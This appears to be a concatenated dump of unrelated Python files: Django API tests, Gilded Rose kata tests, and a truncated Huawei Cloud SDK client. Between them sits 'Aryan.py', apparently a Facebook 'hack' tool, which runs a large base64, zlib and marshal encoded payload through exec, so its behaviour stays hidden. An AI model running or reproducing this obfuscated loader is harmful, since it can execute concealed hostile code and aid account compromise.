response.data['student_from']) self.assertEqual(user_receiver_id, response.data['student_to']) def test_get_supports_made_by_user(self): client = APIClient() client.login(username='test@user.com', password='testuser') user_sender_id = self.user_sender.id user_receiver_id = self.user_receiver.id data = { "message": "#VoltaRonyCoins", } token = self._get_user_token("test@user.com", "testuser") client.credentials(HTTP_AUTHORIZATION='JWT {}'.format(token)) client.post('/api/support/'+str(user_receiver_id)+'/', data) response = client.get('/api/support/from_student/', data) self.assertEqual(200, response.status_code) self.assertEqual(data["message"], response.data['results'][0]['message']) self.assertEqual(user_sender_id, response.data['results'][0]['student_from']) self.assertEqual(user_receiver_id, response.data['results'][0]['student_to']) def test__get_supports_made_to_user(self): client = APIClient() client.login(username='test@user.com', password='testuser') user_sender_id = self.user_sender.id user_receiver_id = self.user_receiver.id data = { "message": "#VoltaRonyCoins", } token = self._get_user_token("test@user.com", "testuser") client.credentials(HTTP_AUTHORIZATION='JWT {}'.format(token)) client.post('/api/support/'+str(user_receiver_id)+'/', data) client.logout() client = APIClient() client.login(username='test2@user.com', password='testuser2') token = self._get_user_token("test2@user.com", "testuser2") client.credentials(HTTP_AUTHORIZATION='JWT {}'.format(token)) response = client.get('/api/support/to_student/', data) self.assertEqual(200, response.status_code) self.assertEqual(data["message"], response.data['results'][0]['message']) self.assertEqual(user_sender_id, response.data['results'][0]['student_from']) self.assertEqual(user_receiver_id, response.data['results'][0]['student_to']) def test_get_none_supports_made_by_user(self): client = APIClient() client.login(username='test@user.com', password='testuser') data = { } token = self._get_user_token("test@user.com", "testuser") client.credentials(HTTP_AUTHORIZATION='JWT {}'.format(token)) response = client.get('/api/support/from_student/', data) self.assertEqual(200, response.status_code) self.assertEqual(0, response.data['count']) # self.assertEqual(user_sender_id, response.data['results'][0]['student_from']) # self.assertEqual(user_receiver_id, response.data['results'][0]['student_to']) def test_get_none_supports_made_to_user(self): client = APIClient() client.login(username='test@user.com', password='testuser') data = { } token = self._get_user_token("test@user.com", "testuser") client.credentials(HTTP_AUTHORIZATION='JWT {}'.format(token)) response = client.get('/api/support/to_student/', data) self.assertEqual(200, response.status_code) self.assertEqual(0, response.data['count']) def test_post_support_denied_permission(self): client = APIClient() user_receiver_id = self.user_receiver.id data = { } response = client.post('/api/support/'+str(user_receiver_id)+'/', data) self.assertEqual(401, response.status_code) def test_get_support_to_student_denied_permission(self): client = APIClient() data = { } response = client.get('/api/support/to_student/', data) self.assertEqual(401, response.status_code) def test_get_support_from_student_denied_permission(self): client = APIClient() data = { } response = client.get('/api/support/from_student/', data) self.assertEqual(401, response.status_code)

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null

0

1

0

8

65af156d49c5aab0fb0bad3d260136faea3f555b

3,402

py

Python

python/test_gilded_rose.py

ChristelleJolly/kata-clean-code-gilded-rose

b0518612893c1c06d2f6f375771d9ac2f1d6efa2

[ "MIT" ]

null

python/test_gilded_rose.py

ChristelleJolly/kata-clean-code-gilded-rose

b0518612893c1c06d2f6f375771d9ac2f1d6efa2

[ "MIT" ]

null

python/test_gilded_rose.py

ChristelleJolly/kata-clean-code-gilded-rose

b0518612893c1c06d2f6f375771d9ac2f1d6efa2

[ "MIT" ]

null

# -*- coding: utf-8 -*- import unittest from gilded_rose import Item, GildedRose class GildedRoseTest(unittest.TestCase): def test_item_name_doesnt_change(self): items = [Item("foo", 0, 0)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual("foo", items[0].name) def test_sell_in_lowers_by_1_for_standard_item(self): items = [Item("foo", 15, 0)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(14, items[0].sell_in) def test_quality_lowers_by_1_for_standard_item(self): items = [Item("foo", 15, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(9, items[0].quality) def test_quality_lowers_by_2_when_date_passed_for_standard_item(self): items = [Item("foo", 0, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(8, items[0].quality) def test_quality_is_never_negative(self): items = [Item("foo", 0, 0)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertGreaterEqual(items[0].quality, 0) def test_aged_brie_quality_increases_by_1(self): items = [Item("Aged Brie", 15, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(11, items[0].quality) def test_quality_is_never_more_than_fifty(self): items = [Item("Aged Brie", 15, 50)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertGreaterEqual(50, items[0].quality) def test_sulfuras_sell_in_never_change(self): items = [Item("Sulfuras, Hand of Ragnaros", 15, 80)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(15, items[0].sell_in) def test_sulfuras_quality_never_change(self): items = [Item("Sulfuras, Hand of Ragnaros", 15, 80)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(80, items[0].quality) def test_backstage_passes_quality_increase_by_1_when_more_than_10_days_left(self): items = [Item("Backstage passes to a TAFKAL80ETC concert", 15, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(11, items[0].quality) def test_backstage_passes_quality_increase_by_2_when_10_to_6_days_left(self): items = [Item("Backstage passes to a TAFKAL80ETC concert", 10, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() gilded_rose.update_quality() self.assertEqual(14, items[0].quality) def test_backstage_passes_quality_increase_by_3_when_less_than_6_days_left(self): items = [Item("Backstage passes to a TAFKAL80ETC concert", 5, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() gilded_rose.update_quality() self.assertEqual(16, items[0].quality) def test_backstage_passes_quality_drops_to_0_when_date_passed(self): items = [Item("Backstage passes to a TAFKAL80ETC concert", 0, 10)] gilded_rose = GildedRose(items) gilded_rose.update_quality() self.assertEqual(0, items[0].quality) if __name__ == '__main__': unittest.main()

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null

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7

65dcca96f24b6939a6fbd8cdf771bbd3f8aa9814

11,887

py

Python

Aryan.py

Aryanjan002/Aryan_fbhack1

0223a85bfca11bee0dca681f873d9bcd23eec074

[ "Apache-2.0" ]

null

Aryan.py

Aryanjan002/Aryan_fbhack1

0223a85bfca11bee0dca681f873d9bcd23eec074

[ "Apache-2.0" ]

null

Aryan.py

Aryanjan002/Aryan_fbhack1

0223a85bfca11bee0dca681f873d9bcd23eec074

[ "Apache-2.0" ]

null

# Compile By Aryan_Hacker # YouTube ARYAN_HACK # https://github.com/Aryanjan002/Aryan_fchack1 # telegram t.me/Aryan jan import marshal,zlib,base64 exec(marshal.loads(zlib.decompress(base64.b64decode("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exec(marshal.loads(zlib.decompress(base64.b64decode("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py

Python

huaweicloud-sdk-rms/huaweicloudsdkrms/v1/rms_async_client.py

wuchen-huawei/huaweicloud-sdk-python-v3

3683d703f4320edb2b8516f36f16d485cff08fc2

[ "Apache-2.0" ]

64

2020-06-12T07:05:07.000Z

2022-03-30T03:32:50.000Z

huaweicloud-sdk-rms/huaweicloudsdkrms/v1/rms_async_client.py

wuchen-huawei/huaweicloud-sdk-python-v3

3683d703f4320edb2b8516f36f16d485cff08fc2

[ "Apache-2.0" ]

11

2020-07-06T07:56:54.000Z

2022-01-11T11:14:40.000Z

huaweicloud-sdk-rms/huaweicloudsdkrms/v1/rms_async_client.py

wuchen-huawei/huaweicloud-sdk-python-v3

3683d703f4320edb2b8516f36f16d485cff08fc2

[ "Apache-2.0" ]

24

2020-06-08T11:42:13.000Z

2022-03-04T06:44:08.000Z

# coding: utf-8 from __future__ import absolute_import import datetime import re import importlib import six from huaweicloudsdkcore.client import Client, ClientBuilder from huaweicloudsdkcore.exceptions import exceptions from huaweicloudsdkcore.utils import http_utils from huaweicloudsdkcore.sdk_stream_request import SdkStreamRequest class RmsAsyncClient(Client): """ :param configuration: .Configuration object for this client :param pool_threads: The number of threads to use for async requests to the API. More threads means more concurrent API requests. """ PRIMITIVE_TYPES = (float, bool, bytes, six.text_type) + six.integer_types NATIVE_TYPES_MAPPING = { 'int': int, 'long': int if six.PY3 else long, 'float': float, 'str': str, 'bool': bool, 'date': datetime.date, 'datetime': datetime.datetime, 'object': object, } def __init__(self): super(RmsAsyncClient, self).__init__() self.model_package = importlib.import_module("huaweicloudsdkrms.v1.model") self.preset_headers = {'User-Agent': 'HuaweiCloud-SDK-Python'} @classmethod def new_builder(cls, clazz=None): if clazz is None: return ClientBuilder(cls, "GlobalCredentials") if clazz.__name__ != "RmsClient": raise TypeError("client type error, support client type is RmsClient") return ClientBuilder(clazz, "GlobalCredentials") def show_resource_history_async(self, request): """查询资源历史查询资源与资源关系的变更历史 :param ShowResourceHistoryRequest request :return: ShowResourceHistoryResponse """ return self.show_resource_history_with_http_info(request) def show_resource_history_with_http_info(self, request): """查询资源历史查询资源与资源关系的变更历史 :param ShowResourceHistoryRequest request :return: ShowResourceHistoryResponse """ all_params = ['resource_id', 'marker', 'limit', 'earlier_time', 'later_time', 'chronological_order'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'resource_id' in local_var_params: path_params['resource_id'] = local_var_params['resource_id'] query_params = [] if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'earlier_time' in local_var_params: query_params.append(('earlier_time', local_var_params['earlier_time'])) if 'later_time' in local_var_params: query_params.append(('later_time', local_var_params['later_time'])) if 'chronological_order' in local_var_params: query_params.append(('chronological_order', local_var_params['chronological_order'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/resources/{resource_id}/history', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowResourceHistoryResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def create_policy_assignments_async(self, request): """创建合规规则创建新的合规规则 :param CreatePolicyAssignmentsRequest request :return: CreatePolicyAssignmentsResponse """ return self.create_policy_assignments_with_http_info(request) def create_policy_assignments_with_http_info(self, request): """创建合规规则创建新的合规规则 :param CreatePolicyAssignmentsRequest request :return: CreatePolicyAssignmentsResponse """ all_params = ['policy_assignment_request_body'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = {} body_params = None if 'body' in local_var_params: body_params = local_var_params['body'] if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments', method='PUT', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='CreatePolicyAssignmentsResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def delete_policy_assignment_async(self, request): """删除合规规则根据规则ID删除此规则 :param DeletePolicyAssignmentRequest request :return: DeletePolicyAssignmentResponse """ return 